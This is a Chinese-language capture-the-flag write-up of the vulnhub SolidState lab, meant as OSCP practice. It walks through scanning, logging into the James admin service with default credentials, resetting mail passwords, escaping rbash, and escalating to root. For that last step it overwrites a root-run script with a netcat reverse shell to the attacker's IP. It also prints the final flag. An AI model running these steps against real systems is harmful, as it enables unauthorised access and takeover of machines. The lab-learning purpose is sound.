wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.1- SolidState(vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 1058

OSCP模拟练习-No.1
主要漏洞利用方式:4555端口james服务默认密码漏洞+rbash逃逸提权


SolidState.png

1.靶机信息

靶场: vulnhub.com
靶机名称: SolidState: 1
难度: 中等
发布时间: 2018年9月12日
下载地址:https://download.vulnhub.com/solidstate/SolidState.zip

2.信息收集

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l 

0509-1.png
2、nmap探测目标IP的开放端口

└─$ sudo nmap -p- 192.168.169.133

0509-2.png

3、nmap进行靶机端口服务扫描

└─$sudo nmap -p22,25,80,110,119,4555 -sV -A 192.168.169.133

靶机开放22/ssh、 25/smtp、80/http、 110/pop3、119/nntp、4555/james-admin等端口服务
0509-3.png

4、搜索james 的漏洞利用方式(在这之前注意:需要对其他端口的服务都进行遍历及尝试)

└─$ searchsploit james

0509-4.png
5、将可以RCE的脚本复制到本地

└─$ searchsploit -m linux/remote/35513.py  //两个命令意思相同
cp /usr/share/exploitdb/exploits/linux/remote/35513.py /home

0509-5.png

6、查看脚本,判断是否可以直接使用。通过查询,此脚本也是需要登录获取认证才可以进行RCE利用。但发现james服务有一个默认的账号密码情况。

└─$ cat 35513.py

0509-6.png
7、通过上述的信息收集,nc去连接james服务,并使用信息收集来的默认账号密码,如不可以,再想办法暴力破解。

└─$ nc 192.168.169.133 4555

0509-7.png
8、登录后,判断有哪些命令可以执行(help)
0509-8.png
9、通过上述查询,可以进行列用户名、修改用户密码等功能。先查询存在多少用户。

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

0509-9.png
10、同样,可以修改用户密码,将所有的用户密码都设置为123456。

setpassword james 123456
Password for james reset
setpassword thomas 123456
Password for thomas reset
setpassword john 123456
Password for john reset
setpassword mindy 123456
Password for mindy reset
setpassword mailadmin 123456
Password for mailadmin reset

0509-10.png

11、既然已经把james服务密码已经全部重置了,那通过110端口即可登录用户为:mindy的邮箱。注意: 每个邮箱都应该进行登录验证并进行信息收集。

└─$ nc -nvC 192.168.169.133 110

0509-11.png

12、通过登录上邮箱,可以list发现有2封邮箱,依然进行信息收集,发现了某个邮箱里面存在一个账号密码。通过邮件内容分析,此账号密码为:SSH远程登录密码,但权限受限。
0509-12.png

username: mindy
pass: P@55W0rd1!2@

13、远程登陆,发现第一个flag:

└─$ ssh mindy@192.168.169.133

0509-13-1.png

mindy@solidstate:~$ cat user.txt 

0509-13-2.png

14、但通过id命令时,发现此用户确实权限受限,shell方式为:rbash知识点:rbash它与一般shell的区别在于会限制一些行为,让一些命令无法执行

mindy@solidstate:~$ cat /etc/passwd

0509-14.png

此处rbash逃逸方式有很多,可通过本机命令来逃逸,也有通过nc反弹shell 变相逃逸等若干方式
15、方法一(SSH一句话逃逸):
1.选择ssh一句话逃逸,成功逃逸之后,查看james用户的进程运行情况,发现james在/opt目录下:

└─$ ssh 192.168.169.137 -l mindy "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"

0509-15.png

16、通过rbash逃逸后,可正常执行命令,因为mindy用户只是user权限,非root权限,那下一步就是提权。这个时候就需要全局搜索user用户可以执行的root权限脚本

$ find / -type f -user root -perm -o=w 2>/dev/null

0509-16.png

*搜索指令有多种方式,以下皆可行:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

17、通过筛选,可以发现opt目录下有一个tmp.py 符合要求,这个脚本时定期执行的删除临时目录脚本。

$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v 'proc\|sys'

0509-17-1.png

$ ls -la /opt/tmp.py

0509-17-2.png

cat tmp.py

0509-17-3.png

18、将输入本机IP作为靶机反向连接的机器,那么我们将它更改程序执行命令的提权代码:

echo 'import os; os.system("/bin/nc 192.168.169.129 777 -e /bin/bash")' > /opt/tmp.py

0509-18.png

19、本地再开启一个nc用来监听靶机的连接,2-3分钟内可得反弹shell,并查询到为root用户。

└─$ nc -lvp 777 

id
uid=0(root) gid=0(root) groups=0(root)
  
cd /root
ls
root.txt
cat root.txt
b4c9723a28899b1c45db281d99cc87c9

0509-19.png
由此,获取靶机的第二个flag,到此结束。

添加新评论

TOP